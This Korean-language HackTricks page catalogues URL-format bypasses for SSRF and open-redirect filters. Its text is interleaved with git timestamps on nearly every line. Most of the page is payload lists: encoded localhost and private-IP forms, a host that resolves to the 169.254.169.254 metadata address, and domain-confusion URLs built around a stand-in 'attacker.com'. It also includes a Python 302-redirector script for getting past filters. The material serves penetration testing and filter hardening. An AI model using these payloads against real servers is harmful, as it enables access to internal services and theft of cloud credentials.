2024-02-10 21:30:13 +00:00
# URL 형식 우회
2022-04-28 16:01:33 +00:00
< details >
2024-03-14 23:45:38 +00:00
< summary > < strong > htARTE (HackTricks AWS Red Team Expert)를 통해 AWS 해킹을 처음부터 전문가까지 배우세요< / strong > !< / summary >
2022-04-28 16:01:33 +00:00
2024-03-14 23:45:38 +00:00
HackTricks를 지원하는 다른 방법:
2024-01-01 17:15:42 +00:00
2024-03-09 13:20:04 +00:00
* **회사가 HackTricks에 광고되길 원하거나 HackTricks를 PDF로 다운로드하길 원한다면** [**구독 요금제** ](https://github.com/sponsors/carlospolop )를 확인하세요!
* [**공식 PEASS & HackTricks 굿즈** ](https://peass.creator-spring.com )를 구매하세요
* [**The PEASS Family** ](https://opensea.io/collection/the-peass-family )를 발견하세요, 당사의 독점 [**NFTs** ](https://opensea.io/collection/the-peass-family ) 컬렉션
2024-03-14 23:45:38 +00:00
* **💬 [Discord 그룹 ](https://discord.gg/hRep4RUj7f )** 또는 [telegram 그룹 ](https://t.me/peass )에 **가입**하거나 **Twitter** 🐦 [**@carlospolopm** ](https://twitter.com/hacktricks\_live )을 **팔로우**하세요.
2024-03-09 13:20:04 +00:00
* **해킹 트릭을 공유하려면** [**HackTricks** ](https://github.com/carlospolop/hacktricks ) 및 [**HackTricks Cloud** ](https://github.com/carlospolop/hacktricks-cloud ) github 저장소에 PR을 제출하세요.
2022-04-28 16:01:33 +00:00
< / details >
2024-03-14 23:45:38 +00:00
**Try Hard Security Group**
< figure > < img src = "../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt = "" > < figcaption > < / figcaption > < / figure >
{% embed url="https://discord.gg/tryhardsecurity" %}
***
2024-03-09 13:20:04 +00:00
### Localhost
2022-02-13 12:30:13 +00:00
```bash
2022-05-01 12:41:36 +00:00
# Localhost
2022-02-13 12:30:13 +00:00
http://127.0.0.1:80
http://127.0.0.1:443
http://127.0.0.1:22
http://127.1:80
2023-04-30 22:29:45 +00:00
http://127.000000000000000.1
2022-02-13 12:30:13 +00:00
http://0
2022-12-19 23:36:02 +00:00
http:@0/ --> http://localhost/
2022-02-13 12:30:13 +00:00
http://0.0.0.0:80
http://localhost:80
http://[::]:80/
http://[::]:25/ SMTP
http://[::]:3128/ Squid
http://[0000::1]:80/
http://[0:0:0:0:0:ffff:127.0.0.1]/thefile
http://①②⑦.⓪.⓪.⓪
2022-05-01 12:41:36 +00:00
# CDIR bypass
2022-02-13 12:30:13 +00:00
http://127.127.127.127
http://127.0.1.3
http://127.0.0.0
# Dot bypass
127。0。0。1
127%E3%80%820%E3%80%820%E3%80%821
2022-05-01 12:41:36 +00:00
# Decimal bypass
2022-02-13 12:30:13 +00:00
http://2130706433/ = http://127.0.0.1
http://3232235521/ = http://192.168.0.1
http://3232235777/ = http://192.168.1.1
2022-05-01 12:41:36 +00:00
# Octal Bypass
2022-02-13 12:30:13 +00:00
http://0177.0000.0000.0001
http://00000177.00000000.00000000.00000001
http://017700000001
2022-05-01 12:41:36 +00:00
# Hexadecimal bypass
2022-02-13 12:30:13 +00:00
127.0.0.1 = 0x7f 00 00 01
http://0x7f000001/ = http://127.0.0.1
http://0xc0a80014/ = http://192.168.0.20
0x7f.0x00.0x00.0x01
0x0000007f.0x00000000.0x00000000.0x00000001
2023-04-30 22:29:45 +00:00
# Add 0s bypass
127.000000000000.1
2022-05-01 12:41:36 +00:00
# You can also mix different encoding formats
# https://www.silisoftware.com/tools/ipconverter.php
2022-02-13 12:30:13 +00:00
2022-05-01 12:41:36 +00:00
# Malformed and rare
2022-02-13 12:30:13 +00:00
localhost:+11211aaa
localhost:00011211aaaa
http://0/
http://127.1
http://127.0.1
2022-05-01 12:41:36 +00:00
# DNS to localhost
2022-02-13 12:30:13 +00:00
localtest.me = 127.0.0.1
customer1.app.localhost.my.company.127.0.0.1.nip.io = 127.0.0.1
mail.ebc.apple.com = 127.0.0.6 (localhost)
127.0.0.1.nip.io = 127.0.0.1 (Resolves to the given IP)
www.example.com.customlookup.www.google.com.endcustom.sentinel.pentesting.us = Resolves to www.google.com
http://customer1.app.localhost.my.company.127.0.0.1.nip.io
http://bugbounty.dod.network = 127.0.0.2 (localhost)
1ynrnhl.xip.io == 169.254.169.254
spoofed.burpcollaborator.net = 127.0.0.1
```
2022-04-25 12:04:04 +00:00
![](< .. / . . / . gitbook / assets / image ( 649 ) ( 1 ) ( 1 ) . png > )
2022-02-13 12:30:13 +00:00
2024-03-14 23:45:38 +00:00
**Burp 확장 프로그램** [**Burp-Encode-IP** ](https://github.com/e1abrador/Burp-Encode-IP )은 IP 형식 바이패스를 구현합니다.
2022-02-13 12:30:13 +00:00
2024-03-09 13:20:04 +00:00
### 도메인 구문 분석기
2022-02-13 12:30:13 +00:00
```bash
https:attacker.com
https:/attacker.com
http:/\/\attacker.com
https:/\attacker.com
//attacker.com
\/\/attacker.com/
/\/attacker.com/
/attacker.com
%0D%0A/attacker.com
#attacker.com
#%20@attacker.com
@attacker .com
2023-01-02 12:00:18 +00:00
http://169.254.1698.254\@attacker.com
2022-02-13 12:30:13 +00:00
attacker%00.com
attacker%E3%80%82com
attacker。com
ⒶⓉⓉⒶⒸⓀⒺⓡ.Ⓒⓞⓜ
```
```
① ② ③ ④ ⑤ ⑥ ⑦ ⑧ ⑨ ⑩ ⑪ ⑫ ⑬ ⑭ ⑮ ⑯ ⑰ ⑱ ⑲ ⑳ ⑴ ⑵ ⑶ ⑷ ⑸ ⑹ ⑺ ⑻ ⑼ ⑽ ⑾
⑿ ⒀ ⒁ ⒂ ⒃ ⒄ ⒅ ⒆ ⒇ ⒈ ⒉ ⒊ ⒋ ⒌ ⒍ ⒎ ⒏ ⒐ ⒑ ⒒ ⒓ ⒔ ⒕ ⒖ ⒗
⒘ ⒙ ⒚ ⒛ ⒜ ⒝ ⒞ ⒟ ⒠ ⒡ ⒢ ⒣ ⒤ ⒥ ⒦ ⒧ ⒨ ⒩ ⒪ ⒫ ⒬ ⒭ ⒮ ⒯ ⒰
⒱ ⒲ ⒳ ⒴ ⒵ Ⓐ Ⓑ Ⓒ Ⓓ Ⓔ Ⓕ Ⓖ Ⓗ Ⓘ Ⓙ Ⓚ Ⓛ Ⓜ Ⓝ Ⓞ Ⓟ Ⓠ Ⓡ Ⓢ Ⓣ
Ⓤ Ⓥ Ⓦ Ⓧ Ⓨ Ⓩ ⓐ ⓑ ⓒ ⓓ ⓔ ⓕ ⓖ ⓗ ⓘ ⓙ ⓚ ⓛ ⓜ ⓝ ⓞ ⓟ ⓠ ⓡ ⓢ
ⓣ ⓤ ⓥ ⓦ ⓧ ⓨ ⓩ ⓪ ⓫ ⓬ ⓭ ⓮ ⓯ ⓰ ⓱ ⓲ ⓳ ⓴ ⓵ ⓶ ⓷ ⓸ ⓹ ⓺ ⓻ ⓼ ⓽ ⓾ ⓿
```
2024-02-10 21:30:13 +00:00
### 도메인 혼동
2022-02-13 12:30:13 +00:00
```bash
# Try also to change attacker.com for 127.0.0.1 to try to access localhost
2023-05-06 02:28:16 +00:00
# Try replacing https by http
# Try URL-encoded characters
2022-02-13 12:30:13 +00:00
https://{domain}@attacker.com
https://{domain}.attacker.com
2023-05-06 02:28:16 +00:00
https://{domain}%6D@attacker.com
2022-02-13 12:30:13 +00:00
https://attacker.com/{domain}
https://attacker.com/?d={domain}
2023-05-06 02:28:16 +00:00
https://attacker.com#{domain}
https://attacker.com@{domain}
https://attacker.com#@{domain}
https://attacker.com%23@{domain}
2022-02-13 12:30:13 +00:00
https://attacker.com%00{domain}
https://attacker.com%0A{domain}
https://attacker.com?{domain}
https://attacker.com///{domain}
https://attacker.com\{domain}/
https://attacker.com;https://{domain}
https://attacker.com\{domain}/
https://attacker.com\.{domain}
https://attacker.com/.{domain}
https://attacker.com\@@{domain}
https://attacker.com:\@@{domain}
https://attacker.com#\@{domain}
https://attacker.com\anything@{domain}/
2023-05-06 02:28:16 +00:00
https://www.victim.com(\u2044)some(\u2044)path(\u2044)(\u0294)some=param(\uff03)hash@attacker.com
2022-02-13 12:30:13 +00:00
# On each IP position try to put 1 attackers domain and the others the victim domain
http://1.1.1.1 & @2.2.2.2# @3 .3.3.3/
#Parameter pollution
next={domain}& next=attacker.com
```
2024-02-10 21:30:13 +00:00
### 경로 및 확장자 우회
2022-02-13 12:30:13 +00:00
2024-03-14 23:45:38 +00:00
만약 URL이 반드시 경로나 확장자로 끝나야 하거나 경로를 포함해야 하는 경우, 다음 우회 방법 중 하나를 시도해 볼 수 있습니다:
2022-04-20 09:04:20 +00:00
```
https://metadata/vulerable/path#/expected/path
https://metadata/vulerable/path#.extension
https://metadata/expected/path/..%2f..%2f/vulnerable/path
```
2022-12-05 11:09:36 +00:00
### Fuzzing
2024-03-09 13:20:04 +00:00
도구 [**recollapse** ](https://github.com/0xacb/recollapse )은 주어진 입력에서 변형을 생성하여 사용된 정규식을 우회하려고 시도할 수 있습니다. 자세한 정보는 [**이 게시물** ](https://0xacb.com/2022/11/21/recollapse/ )을 확인하십시오.
2022-02-13 12:30:13 +00:00
2024-02-10 21:30:13 +00:00
### 리디렉션을 통한 우회
2022-02-13 12:30:13 +00:00
2024-03-09 13:20:04 +00:00
서버가 SSRF의 **원본 요청을 필터링하지만** 해당 요청에 대한 **리디렉션** 응답은 필터링하지 않을 수 있습니다.\
2024-03-14 23:45:38 +00:00
예를 들어, `url=https://www.google.com/` 를 통해 SSRF에 취약한 서버가 **url 매개변수를 필터링**할 수 있습니다. 그러나 [python 서버를 사용하여 302로 응답 ](https://pastebin.com/raw/ywAUhFrv )하고자 하는 리디렉션 위치로 이동하면 127.0.0.1과 같은 필터링된 IP 주소 또는 gopher와 같은 필터링된 **프로토콜**에 **액세스**할 수 있습니다.\
2024-03-09 13:20:04 +00:00
[이 보고서를 확인하십시오. ](https://sirleeroyjenkins.medium.com/just-gopher-it-escalating-a-blind-ssrf-to-rce-for-15k-f5329a974530 )
2022-02-13 12:30:13 +00:00
```python
#!/usr/bin/env python3
#python3 ./redirector.py 8000 http://127.0.0.1/
import sys
from http.server import HTTPServer, BaseHTTPRequestHandler
if len(sys.argv)-1 != 2:
2024-02-10 21:30:13 +00:00
print("Usage: {} < port_number > < url > ".format(sys.argv[0]))
sys.exit()
2022-02-13 12:30:13 +00:00
class Redirect(BaseHTTPRequestHandler):
2024-02-10 21:30:13 +00:00
def do_GET(self):
self.send_response(302)
self.send_header('Location', sys.argv[2])
self.end_headers()
2022-02-13 12:30:13 +00:00
HTTPServer(("", int(sys.argv[1])), Redirect).serve_forever()
```
2024-02-10 21:30:13 +00:00
## 설명된 트릭
2022-02-13 12:30:13 +00:00
2024-02-10 21:30:13 +00:00
### 백슬래시 트릭
2022-02-13 12:30:13 +00:00
2024-03-14 23:45:38 +00:00
_백슬래시 트릭_은 [WHATWG URL 표준 ](https://url.spec.whatwg.org/#url-parsing )과 [RFC3986 ](https://datatracker.ietf.org/doc/html/rfc3986#appendix-B ) 사이의 차이점을 이용합니다. RFC3986은 URI에 대한 일반적인 프레임워크이며, WHATWG는 웹 URL에 특화되어 있으며 현대 브라우저에서 채택되었습니다. 핵심 차이점은 WHATWG 표준이 백슬래시(`\`)를 슬래시(`/`)와 동등하게 인식하는 것에 있으며, 특히 URL에서 호스트 이름에서 경로로의 전환을 표시하는 방식에 영향을 줍니다.
2022-02-13 12:30:13 +00:00
2024-03-09 13:20:04 +00:00
![https://bugs.xdavidhu.me/assets/posts/2021-12-30-fixing-the-unfixable-story-of-a-google-cloud-ssrf/spec\_difference.jpg ](https://bugs.xdavidhu.me/assets/posts/2021-12-30-fixing-the-unfixable-story-of-a-google-cloud-ssrf/spec\_difference.jpg )
2022-02-13 12:30:13 +00:00
2024-03-14 23:45:38 +00:00
### 다른 혼란
2022-02-13 12:30:13 +00:00
2024-02-06 03:10:27 +00:00
![https://claroty.com/2022/01/10/blog-research-exploiting-url-parsing-confusion/ ](<../../.gitbook/assets/image (629 ).png>)
2022-02-13 12:30:13 +00:00
2024-02-10 21:30:13 +00:00
이미지 출처: [https://claroty.com/2022/01/10/blog-research-exploiting-url-parsing-confusion/ ](https://claroty.com/2022/01/10/blog-research-exploiting-url-parsing-confusion/ )
2022-04-28 16:01:33 +00:00
2024-02-10 21:30:13 +00:00
## 참고 자료
2024-03-09 13:20:04 +00:00
2024-02-06 03:10:27 +00:00
* [https://as745591.medium.com/albussec-penetration-list-08-server-side-request-forgery-ssrf-sample-90267f095d25 ](https://as745591.medium.com/albussec-penetration-list-08-server-side-request-forgery-ssrf-sample-90267f095d25 )
* [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Request%20Forgery/README.md ](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Request%20Forgery/README.md )
2024-03-14 23:45:38 +00:00
**Try Hard Security Group**
< figure > < img src = "../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt = "" > < figcaption > < / figcaption > < / figure >
{% embed url="https://discord.gg/tryhardsecurity" %}
2022-04-28 16:01:33 +00:00
< details >
2024-03-14 23:45:38 +00:00
< summary > < strong > 제로부터 영웅이 될 때까지 AWS 해킹을 배우세요< / strong > < a href = "https://training.hacktricks.xyz/courses/arte" > < strong > htARTE (HackTricks AWS Red Team Expert)< / strong > < / a > < strong > !< / strong > < / summary >
2022-04-28 16:01:33 +00:00
2024-02-10 21:30:13 +00:00
HackTricks를 지원하는 다른 방법:
2024-01-01 17:15:42 +00:00
2024-03-09 13:20:04 +00:00
* **회사를 HackTricks에서 광고하거나 PDF로 다운로드하려면** [**구독 요금제** ](https://github.com/sponsors/carlospolop )를 확인하세요!
2024-03-14 23:45:38 +00:00
* [**공식 PEASS & HackTricks 스왹** ](https://peass.creator-spring.com )을 구입하세요
2024-03-09 13:20:04 +00:00
* [**The PEASS Family** ](https://opensea.io/collection/the-peass-family )를 발견하세요, 당사의 독점 [**NFTs** ](https://opensea.io/collection/the-peass-family ) 컬렉션
2024-03-14 23:45:38 +00:00
* **💬 [**디스코드 그룹** ](https://discord.gg/hRep4RUj7f ) 또는 [**텔레그램 그룹** ](https://t.me/peass )에 가입하거나** 트위터** 🐦 [**@carlospolopm** ](https://twitter.com/hacktricks\_live )**를 팔로우하세요.**
2024-03-09 13:20:04 +00:00
* **HackTricks 및 HackTricks Cloud** 깃허브 저장소에 PR을 제출하여 **해킹 트릭을 공유하세요.**
2022-04-28 16:01:33 +00:00
< / details >